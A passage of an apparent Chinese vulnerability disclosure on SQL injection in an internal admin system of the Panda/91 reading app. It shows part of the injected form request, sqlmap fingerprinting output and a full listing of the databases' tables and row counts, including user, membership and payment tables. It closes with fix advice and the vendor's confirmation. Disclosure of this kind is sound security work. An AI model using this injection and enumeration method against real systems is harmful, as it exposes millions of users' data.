name="MainContent_PandaPushEdit1_txtUrl"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_Value"0------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType"全显示------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_cbType_SelIndex"0------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtContect"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtUserIDS"备注:以英文 , 分隔------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="MainContent_PandaPushEdit1_txtCreateTime"------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="submitDirectEventConfig"{"config":{"extraParams":{"start":0,"limit":100,"sort":"ID","dir":"ASC"}}}------WebKitFormBoundarydEuFUCx2QXyzCtlVContent-Disposition: form-data; name="__ExtNetDirectEventMarker"delta=true------WebKitFormBoundarydEuFUCx2QXyzCtlV-----[00:58:37] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2005
看下数据库:
数据库数据项数:
Database: NovelDB2_Slave+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.Novel_MyAttention | 35657862 || dbo.PandaCoinOrder_BulkPayChapter_2016 | 20784845 || dbo.T_PandaUserLatestAction | 19243579 || dbo.AttachBookTbl | 7688792 || dbo.PandaCoinConvert | 6750304 || dbo.PandaCoinConvert_2012 | 2043063 || dbo.Novel_Book_2013BACK | 126188 || dbo.BookProperty | 118765 || dbo.Cosimple_PandaPartnersPriceStatis | 93504 || dbo.BookKeysTbl | 83572 || dbo.Novel_Book | 47889 || dbo.v_NovelBooks | 35172 || dbo.BookTag | 34397 || dbo.PandaBulkShopProduct | 9716 || dbo.Novel_BookCategory | 2452 || dbo.Cartoon | 1519 || dbo.CartoonCategory | 1098 || dbo.BookTagRelation | 435 || dbo.MSreplication_objects | 51 || dbo.MSreplication_subscriptions | 1 || dbo.MSsubscription_agents | 1 |+------------------------------------------------------------+---------+Database: msdb+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.backupfile | 204582 || dbo.backupmediafamily | 6127 || dbo.backupmediaset | 6127 || dbo.backupset | 6127 || dbo.restorefile | 240 || dbo.restorefilegroup | 236 || dbo.restorehistory | 4 |+------------------------------------------------------------+---------+Database: master+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| sys.messages | 99632 || sys.sysmessages | 99632 || sys.syscolumns | 10759 || sys.all_parameters | 6761 || sys.system_parameters | 6761 || sys.trace_subclass_values | 4729 || sys.trace_event_bindings | 3965 || sys.all_columns | 3793 || sys.system_columns | 3749 || sys.syscomments | 2793 || dbo.spt_values | 2346 || sys.all_objects | 1779 || sys.sysobjects | 1779 || sys.system_objects | 1773 || sys.database_permissions | 1675 || sys.syspermissions | 1675 || sys.sysprotects | 1674 || sys.all_sql_modules | 1621 || sys.system_sql_modules | 1621 || sys.all_views | 286 || sys.system_views | 286 || sys.event_notification_event_types | 193 || sys.trace_events | 171 || sys.syscharsets | 114 || sys.allocation_units | 112 || sys.partitions | 101 || sys.system_components_surface_area_configuration | 99 || sys.xml_schema_facets | 97 || sys.xml_schema_components | 93 || sys.xml_schema_types | 77 || sys.configurations | 65 || sys.sysconfigures | 65 || sys.syscurconfigs | 65 || sys.trace_columns | 65 || sys.fulltext_document_types | 50 || INFORMATION_SCHEMA.COLUMN_PRIVILEGES | 44 || INFORMATION_SCHEMA.COLUMNS | 44 || sys.columns | 44 || sys.syslanguages | 33 || sys.systypes | 27 || sys.types | 27 || sys.securable_classes | 21 || sys.trace_categories | 21 || sys.fulltext_languages | 17 || sys.xml_schema_component_placements | 17 || INFORMATION_SCHEMA.SCHEMATA | 14 || sys.database_principals | 14 || sys.schemas | 14 || sys.sysusers | 14 || sys.xml_schema_attributes | 14 || sys.database_mirroring | 12 || sys.database_recovery_status | 12 || sys.databases | 12 || sys.sysdatabases | 12 || sys.server_principals | 11 || sys.service_contract_message_usages | 11 || sys.server_permissions | 7 || sys.sysindexes | 7 || sys.indexes | 6 || sys.objects | 6 || sys.stats_columns | 6 || INFORMATION_SCHEMA.TABLE_PRIVILEGES | 5 || INFORMATION_SCHEMA.TABLES | 5 || sys.index_columns | 5 || sys.sysindexkeys | 5 || sys.tables | 5 || sys.endpoints | 4 || sys.servers | 4 || sys.sysservers | 4 || sys.service_queue_usages | 3 || sys.stats | 3 || sys.syssegments | 3 || sys.xml_schema_namespaces | 3 || sys.database_files | 2 || sys.login_token | 2 || sys.service_contract_usages | 2 || sys.sql_logins | 2 || sys.sysfiles | 2 || sys.syslogins | 2 || sys.user_token | 2 || dbo.spt_monitor | 1 || sys.data_spaces | 1 || sys.database_role_members | 1 || sys.default_constraints | 1 || sys.dm_exec_requests | 1 || sys.dm_exec_sessions | 1 || sys.filegroups | 1 || sys.server_role_members | 1 || sys.sysconstraints | 1 || sys.sysfilegroups | 1 || sys.sysmembers | 1 || sys.sysprocesses | 1 || sys.tcp_endpoints | 1 || sys.via_endpoints | 1 || sys.xml_schema_collections | 1 || sys.xml_schema_model_groups | 1 || sys.xml_schema_wildcards | 1 |+------------------------------------------------------------+---------+Database: PandaPublisher+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.Panda_PublisherLog | 4772444 || dbo.PandaBlockIMEI | 797150 || dbo.Panda_PushInfo | 136358 || dbo.AttachmentIMEI | 58188 || dbo.ChnApkBook_UploadManager | 26894 || dbo.ChapterTakeInfoLog | 9896 || dbo.ApkBook_UploadManager | 9517 || dbo.ApkBookManager | 9386 || dbo.Adver_UserCredit | 6061 || dbo.syncobj_0x3339453141353846 | 6061 || dbo.ChapterToBlock | 2805 || dbo.V_PandaChapterBookInfo | 2768 || dbo.ChapterRcContent | 2767 || dbo.PandaChapterManager | 2767 || dbo.PandaChapterRcManager | 2767 || dbo.ChapterContent | 2766 || dbo.V_PandaChapterBookInfo_New | 2696 || dbo.ApkBook_NoExitsPackageLogs | 1992 || dbo.PandaUpdate_VersionCpManager | 1646 || dbo.ApkBook_UploadManager_bak | 1000 || dbo.Adver_AdverOfferPriceLog | 513 || dbo.ChapterToBlock_Back | 370 || dbo.Adver_AdverFocusLog | 309 || dbo.BookAttachmentManager | 277 || dbo.PandaChapterRcManager_Bak | 275 || dbo.ChapterRcContent_Bak | 274 || dbo.Panda_PublisherInterface | 79 || dbo.Adver_AdverManger | 47 || dbo.syncobj_0x4434374643323037 | 47 || dbo.PandaBlockManager | 46 || dbo.Adver_UserCreaditConsumLog | 36 || dbo.ChnApkBook_UploadBatchManger | 33 || dbo.AttachmentManager | 30 || dbo.sysarticlecolumns | 21 || dbo.PandaUpdate_UpdateRulesManager | 18 || dbo.PandaUpdate_RuleToAttachment | 13 || dbo.ApkBookManager_bak | 11 || dbo.Adver_AuctionStagesManger | 10 || dbo.syncobj_0x3646344539434238 | 10 || dbo.BlockType | 8 || dbo.Adver_AdverPosType | 7 || dbo.ApkBook_VersionManager | 6 || dbo.syssubscriptions | 6 || dbo.Tool_TakeBlockDataCfg | 6 || dbo.ApkBook_AttachmentManager | 5 || dbo.Adver_AdverPosManger | 4 || dbo.ChnApkBook_ChnCfg | 3 || dbo.sysarticles | 3 || dbo.sysextendedarticlesview | 3 || dbo.PandaUpdate_Plist | 2 || dbo.PricesManager | 2 || dbo.ApkBook_VersionToAttachment | 1 || dbo.syspublications | 1 || dbo.sysreplservers | 1 |+------------------------------------------------------------+---------+Database: PandaStat+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.PandaRewardValue | 139843999 || dbo.T_PandaUserRecommandStat_New | 40496503 || dbo.PandaCoinOrder_Release_Report_New | 40327364 || dbo.ReaderHeroUserCount | 23092234 || dbo.ReaderHero_2013 | 22918893 || dbo.Shelf_ResourceRelation | 21850695 || dbo.T_PandaUserMessage_Filter_UID | 17829829 || dbo.PandaUserSign | 14205059 || dbo.ReaderHero | 11103386 || dbo.PandaUserPriceSummary | 10444487 || dbo.Boss_PandaActiveUID | 8752728 || dbo.Sync_FileResource | 6152073 || dbo.PandaUserPriceSummary_Back | 6123970 || dbo.ShakeShare_RecordLog | 6109962 || dbo.Boss_RecommendReadHistory | 5522330 || dbo.ShakeShare_RecordLog_2013_BACK | 4959847 || dbo.Baidu_PushMessage | 4572817 || dbo.PandaRewardValue_WeiXin | 3794336 || dbo.Boss_Baidu91ShopContent | 3711242 || dbo.Boss_PandaMessageFilterUser_Back | 2554602 || dbo.ShakeShare_RecordLog_2013 | 1916064 || dbo.PandaFlowerValue | 1690595 || dbo.ShakeShare_User | 1642429 || dbo.Baidu_PushUser_201505 | 1357381 || dbo.Baidu_PushUser_201506 | 1357321 || dbo.Baidu_PushUser_201504 | 1357229 || dbo.Baidu_PushUser_201503 | 1349044 || dbo.Baidu_PushUser_201507 | 1338837 || dbo.Shelf_Book | 1288454 || dbo.Baidu_PushUser_201508 | 1247541 || dbo.Baidu_PushUser_201509 | 1231954 || dbo.ShakeShare_Record_2013 | 1212188 || dbo.PandaPushMessage | 1165947 || dbo.PandaEggValue | 1124287 || dbo.ShakeShare_Record | 867040 || dbo.T_PandaHotSearch_201507 | 836465 || dbo.T_PandaHotSearch_201506 | 794212 || dbo.Baidu_PushUser_201502 | 776096 || dbo.T_PandaHotSearch_201508 | 770497 || dbo.Baidu_PushUser_201510 | 753329 || dbo.Boss_PandaUserMacToken_201407 | 702283 || dbo.T_PandaHotSearch_201505 | 688294 || dbo.T_PandaHotSearch_201503 | 685133 || dbo.T_PandaHotSearch_201504 | 682911 || dbo.Boss_PandaUserMacToken_201406 | 668902 || dbo.Boss_PandaUserMacToken_201408 | 667242 || dbo.T_PandaHotSearch_201509 | 650774 || dbo.Boss_PandaUserMacToken | 639823 || dbo.Boss_PandaUserMacToken_201309 | 617232 || dbo.Boss_PandaUserMacToken_201409 | 616750 || dbo.PandaMonthTicket | 615053 || dbo.PandaPushMessage0610 | 597339 || dbo.Boss_PandaUserMacToken_201410 | 589402 || dbo.Boss_PandaMulityWMLAuto | 562423 || dbo.T_PandaHotSearch_201510 | 543463 || dbo.Boss_PandaUserMacToken_201405 | 529042 || dbo.Boss_PandaUserMacToken_201411 | 525432 || dbo.Boss_PandaUserMacToken_201502 | 506896 || dbo.Boss_PandaUserMacToken_201412 | 488224 || dbo.UrgeUpdatePandaCoin | 462389 || dbo.Boss_PandaUserMacToken_201501 | 458424 || dbo.Boss_PandaUserMacToken_201308 | 435169 || dbo.Boss_PandaUserMacToken_201503 | 432992 || dbo.Novel_BookFileToFtp | 419103 || dbo.Boss_PandaUserMacToken_201504 | 400777 || dbo.T_PandaUserMessage | 400747 || dbo.Boss_PandaRootPageRecommend_History | 396066 || dbo.Boss_PandaUserMacToken_201505 | 385159 || dbo.Boss_PandaUserMacToken_201506 | 378259 || dbo.Boss_PandaUserMacToken_201507 | 373561 || dbo.Boss_PandaUserMacToken_201510 | 351302 || dbo.Boss_PandaUserMacToken_201508 | 344976 || dbo.Boss_PandaUserMacToken_201509 | 342709 || dbo.Boss_PandaUserMacToken_201511 | 334753 || dbo.Boss_ActionEntrySTAT | 313590 || dbo.Baidu_PushUser_201511 | 290244 || dbo.pandalog_0224 | 284551 || dbo.ShakeShare_ResourceRelation | 278005 || dbo.T_PandaResStat | 259340 || dbo.PandaCoinOrder_BdPay_Receipt | 243646 || dbo.PC_MyReadHistory | 214728 || dbo.ZhuShou_PandaCoinOrder | 213120 || dbo.T_PandaHotSearch_201511 | 187771 || dbo.PandaUserGiftCoin_Log | 174225 || dbo.ReaderHeroTypeCheck | 164161 || dbo.Boss_PandaBookMacToken | 159591 || dbo.T_PandaResStat_03 | 132199 || dbo.PandaRewardTicketComment | 131890 || dbo.Boss_BatchDetails | 129876 || dbo.PandaMonthTicketComment | 129395 || dbo.Boss_PandaUserMacToken_201512 | 126022 || dbo.Boss_PandaChapterInfo | 118026 || dbo.Boss_PandaRootPageRecommendUser | 104200 || dbo.Boss_PandaMessageFilterUser | 95771 || dbo.T_PandaResStat_Back | 88961 || dbo.T_PandaUserAction | 77638 || dbo.T_PandaUserAction_ForInsert | 77638 || dbo.T_PandaUserAction_Back | 75534 || dbo.T_PandaUserAction_bak20150112 | 66395 || dbo.Boss_ChannelIMEI | 64735 || dbo.UrgeUpdateDetail | 63297 || dbo.ShakeShare_UserOnLine | 62448 || dbo.T_PandaResUpdateLength_Stat | 61439 || dbo.Baidu_PushUser_201512 | 60344 || dbo.PandaNotesComment | 53789 || dbo.Boss_PandaBookGUID | 33862 || dbo.Boss_UserShareSinaHistory | 32197 || dbo.PandaCoinOrder_AppStore_Report | 27843 || dbo.PC_MyPageFavorites | 26461 || dbo.FileResourceMd5 | 24278 || dbo.UrgeUpdateUser | 22712 || dbo.T_ProductFeedBackLog | 22624 || dbo.PandaMonthTicketComment_2015 | 22421 || dbo.ReaderHeroClickCount | 22244 || dbo.Boss_ResourceTimer | 18249 || dbo.Boss_AppDownloadHistory | 17208 || dbo.Boss_PandaBulkShopMonthly | 16887 || dbo.T_PandaResStat20150112 | 15000 || dbo.Boss_BatchHistory | 11823 || dbo.T_PandaHotSearch_201512 | 8858 || dbo.TencentAccessToken | 7846 || dbo.Boss_UserShareSinaStat | 7672 || dbo.PandaWeiXinShare | 7045 || dbo.PandaAllBookGuid | 4897 || dbo.T_PandaRes_TagEnum | 3891 || dbo.T_PandaResUpdateLength_Stat_BACK2 | 3468 || dbo.T_PandaResUpdateLength_Stat_BACK | 3327 || dbo.T_PandaUserMessageUID | 1852 || dbo.PandaSndaUID | 1720 || dbo.Boss_BatchWeiXin | 1261 || dbo.T_PandaRes_SystemMessage | 707 || dbo.T_PandaRes_SystemMessage150207 | 660 || dbo.Boss_PandaBulkShopProductHistory | 586 || dbo.Boss_PandaActivityFlow | 141 || dbo.PandaPushMessage_V2 | 93 || dbo.Boss_PandaSiteConfig | 91 || dbo.Boss_PandaAdvertisement | 80 || dbo.PandaStatEnum | 74 || dbo.Boss_PandaRewardUser | 71 || dbo.Boss_NameValues | 58 || dbo.PandaFriendUrl | 42 || dbo.T_PandaUserMessage_Filter | 35 || dbo.Boss_BatchList | 31 || dbo.Baidu_PushUser_201501 | 26 || dbo.Boss_PandaRootPageRecommend | 26 || dbo.Boss_AppRecommend | 11 || dbo.Boss_SysUser | 10 || dbo.Boss_SearchWordInfo | 9 || dbo.PandaUserSign_WeiXin | 6 || dbo.Boss_PandaInitRecommend | 5 || dbo.Boss_BookshelfAdvert | 3 || dbo.Boss_PandaMulityWML | 3 || dbo.Boss_PandaNovelRegather | 2 || dbo.T_PandaResStatModify | 2 || dbo.Boss_PandaActivity | 1 || dbo.Boss_PandaReward | 1 |+------------------------------------------------------------+---------+Database: CommentDB+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.Comment | 1377900 || dbo.Comment_Back | 614514 || dbo.UserCommentStat | 491662 || dbo.CommentUpVoteHistory | 170356 || dbo.CommentUpVote | 170227 || dbo.ResourceCommentStat | 118239 || dbo.CommentStat | 59973 || dbo.ChapterUpVote | 16583 || dbo.ChapterUpVoteHistory | 16583 || dbo.CommentReward | 10093 || dbo.ChapterStat | 2964 || dbo.BlackList | 2456 || dbo.FilterWords | 2253 || dbo.CommentRewardCoinStat | 1731 || dbo.ChapterReward | 206 || dbo.T_BlackList | 1 || dbo.T_FilterWords | 1 |+------------------------------------------------------------+---------+Database: EBookDB_Slave+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.BookChapters | 1550102 || dbo.ZineJournalPages | 1378795 || dbo.v_TagResources | 50531 || dbo.BookPrices | 47410 || dbo.BookTagRelation | 37721 || dbo.v_TagBooks | 37510 || dbo.Books | 26382 || dbo.v_Books | 26382 || dbo.BookTags | 25986 || dbo.v_TagJournals | 13021 || dbo.ZineJournalTagRelation | 13021 || dbo.v_FullZines | 7976 || dbo.v_Journals | 7976 || dbo.ZineJournals | 7976 || dbo.ZineJournalPrices | 2796 || dbo.BookCategories | 1211 || dbo.Publishers | 966 || dbo.ZineJournalTags | 572 || dbo.v_Zines | 529 || dbo.Zines | 529 || dbo.UserGroups | 256 || dbo.MSreplication_objects | 45 || dbo.ZineCategories | 41 || dbo.MSreplication_subscriptions | 1 || dbo.MSsubscription_agents | 1 |+------------------------------------------------------------+---------+Database: AuthorDB+------------------------------------------------------------+---------+| Table | Entries |+------------------------------------------------------------+---------+| dbo.PandaReport_AuthorNovelStat_AllNovel | 4543829 || dbo.PandaAdmin_NovelDailySaleTotalAll | 4224946 || dbo.PandaReport_AuthorNovelMonthStat_bak | 3439361 || dbo.PandaAdmin_NovelDailySaleTotalAll_bak20140919 | 2686687 || dbo.PandaReport_AuthorUserScaleMerge_bak | 2081373 || dbo.PandaAdmin_AttendanceMonth_bak | 960896 || dbo.PandaAdmin_AuthorNovelChapter | 558957 || dbo.PandaReport_AuthorNovelChapterSale | 537130 || dbo.PandaReport_AuthorNovelChapterSale_201511 | 532436 || dbo.PandaReport_AuthorNovelChapterSale_201510 | 521006 || dbo.PandaReport_AuthorNovelChapterSale_201509 | 507699 || dbo.PandaReport_AuthorNovelChapterSale_201508 | 493875 || dbo.PandaReport_AuthorNovelChapterSale_201507 | 479165 || dbo.PandaReport_AuthorNovelChapterSale_201506 | 462092 || dbo.PandaReport_AuthorNovelStat | 454284 || dbo.PandaReport_AuthorNovelChapterSale_201505 | 444270 || dbo.PandaReport_AuthorNovelChapterSale_20140924 | 433891 || dbo.PandaReport_AuthorNovelChapterSale_201408 | 430993 || dbo.PandaAdmin_NovelDailySaleTotal | 423929 || dbo.PandaReport_AuthorNovelChapterSale_201407 | 421855 || dbo.PandaReport_AuthorNovelChapterSale_201504 | 420035 || dbo.PandaReport_AuthorNovelChapterSale_201406 | 410368 || dbo.PandaReport_AuthorNovelChapterSale_201503 | 397221 || dbo.PandaReport_AuthorNovelChapterSale_201405 | 395477 || dbo.PandaReport_AuthorNovelChapterSale_201502 | 392026 || dbo.PandaReport_AuthorNovelChapterSale_201412 | 391931 || dbo.PandaReport_AuthorNovelChapterSale_201501 | 390408 || dbo.PandaReport_AuthorNovelChapterSale_201411 | 388938 || dbo.PandaReport_AuthorNovelChapterSale_201404 | 387568 || dbo.PandaReport_AuthorNovelChapterSale_201410 | 385141 || dbo.PandaReport_AuthorNovelChapterSale_201409 | 381735 || dbo.PandaReport_AuthorNovelChapterSale_201403 | 377520 || dbo.PandaReport_AuthorNovelChapterSale_20140928 | 372945 || dbo.PandaReport_AuthorNovelChapterSale_201402 | 356846 || dbo.PandaReport_AuthorNovelChapterSale_Back2 | 356846 || dbo.PandaReport_AuthorNovelChapterSale_Back | 355728 || dbo.PandaReport_AuthorNovelChapterSale_201401 | 338792 || dbo.PandaAdmin_AttendanceRecOrder | 320403 || dbo.PandaReport_AuthorNovelChapterSale_201312 | 313496 || dbo.PandaReport_AuthorNovelChapterSale_201311 | 288820 || dbo.PandaReport_AuthorNovelChapterSale_201310 | 260636 || dbo.PandaAdmin_AttendanceSendOrder | 255781 || dbo.PandaReport_AuthorNovelChapterSale_201309 | 237684 || dbo.PandaReport_AuthorNovelChapterSale_201308 | 211072 || dbo.PandaReport_AuthorNovelChapterSale_201307 | 180853 || dbo.PandaAdmin_AttendanceDay | 120706 || dbo.PandaAdmin_NovelDailySaleTotal_Bak20131209 | 110531 || dbo.PandaReport_AuthorNovelChapterSale_201306 | 109069 || dbo.PandaReport_AuthorNovelChapterSale_201305 | 89497 || dbo.PandaReport_AuthorNovelChapterSale_201304 | 75419 || dbo.PandaAdmin_ChapterTemp | 66334 || dbo.PandaReport_AuthorNovelChapterSale_201303 | 64974 || dbo.PandaAdmin_AuthorMailBox | 64676 || dbo.PandaReport_AuthorNovelChapterSale_201302 | 56642 || dbo.PandaUploadBookManager | 51121 || dbo.PandaReport_AuthorNovelMonthStat | 31763 || dbo.PandaAdmin_AttendanceError | 29506 || dbo.PandaReport_AuthorUserScaleMerge | 20682 || dbo.PandaAdmin_AttendanceMonth | 19692 || dbo.PandaReport_AuthorNovelMonthStat_bak20140521 | 17256 || dbo.PandaReport_AuthorUserScaleMerge_bak20140521 | 10360 || dbo.aspnet_Membership | 10312 || dbo.aspnet_Users | 10312 || dbo.vw_aspnet_MembershipUsers | 10312 || dbo.vw_aspnet_Users | 10312 || dbo.aspnet_Membership_1507 | 10264 || dbo.aspnet_Users_150730 | 10264 || dbo.PandaReport_AuthorNovelMonthStat_bak20131223 | 10046 || dbo.PandaReport_AuthorNovelMonthStat_bak20131220 | 8277 || dbo.PandaReport_AuthorUserScaleMerge_bak20131223 | 6009 || dbo.PandaAdmin_AuthorUser | 5791 || dbo.PandaAdmin_AuthorUserScale | 5783 || dbo.PandaSingleApp | 5752 || dbo.aspnet_UsersInRoles_1507 | 5182 || dbo.aspnet_UsersInRoles | 5132 || dbo.vw_aspnet_UsersInRoles | 5132 || dbo.PandaReport_AuthorUserScaleMerge_bak20131220 | 4933 || dbo.PandaAdmin_AttendanceMonth_bak20140521 | 4703 || dbo.PandaAdmin_AuthorNovelBook | 4375 || dbo.PandaAdmin_AuthorNovelHandle | 4353 || dbo.PandaReport_AuthorUserArrearsAdvertisement_bak | 3981 || dbo.PandaAdmin_UpdateBookContentLog | 3976 || dbo.PandaAdmin_AuthorNovelBook_20140310 | 3577 || dbo.PandaAdmin_BookUrls | 2852 || dbo.PandaAdmin_ChapterIllegal | 2059 || dbo.PandaAdmin_AuthorNovelBookMessage | 1903 || dbo.PandaAdmin_AuthorNovelVolume | 1834 || dbo.PandaAdmin_AuthorRecomment | 1679 || dbo.PandaAdmin_AttendanceMonth_bak20131223 | 1261 || dbo.PandaAdmin_BookMessageSendState | 886 || dbo.PandaAdmin_AuthorUserBank | 636 || dbo.Panda_CompanyToBook | 585 || dbo.PandaReport_AuthorUserScaleMergeDetail | 320 || dbo.PandaReport_AuthorUserScaleMergeBack | 296 || dbo.PandaReport_AuthorUserScale | 211 || dbo.PandaAdmin_BookContract | 200 || dbo.PandaWeixin_DraftBox | 180 || dbo.PandaWeixin_UserIdToOperateId | 86 || dbo.PandaAdmin_AuthorNovelBookProxy | 24 || dbo.PandaReport_AuthorUserArrearsAdvertisement | 21 || dbo.PandaReport_AuthorUserArrearsAdvertisement_bak20140521 | 21 || dbo.PandaAdmin_ViewConfig | 15 || dbo.Publish_Company | 8 || dbo.PandaAdmin_UserGroup | 7 || dbo.aspnet_SchemaVersions | 6 || dbo.PandaAdmin_AttendanceParam | 6 || dbo.ext_ObjectMetadata | 4 || dbo.PandaAdmin_Announcement | 3 || dbo.aspnet_Organizations | 2 || dbo.aspnet_Applications | 1 || dbo.aspnet_OrganizationTypes | 1 || dbo.aspnet_Roles | 1 || dbo.PandaAdmin_AuthorInterview | 1 || dbo.vw_aspnet_Applications | 1 || dbo.vw_aspnet_Roles | 1 || dbo.查询 | 1 |+------------------------------------------------------------+---------+
两千多万用户信息
1、建议统一排查下弱口令2、内部系统注入不少,建议完整性自查一遍2、给系统加个waf等安全防护软件
危害等级:高
漏洞Rank:10
确认时间:2015-12-03 11:01
感谢,转百度91修复
暂无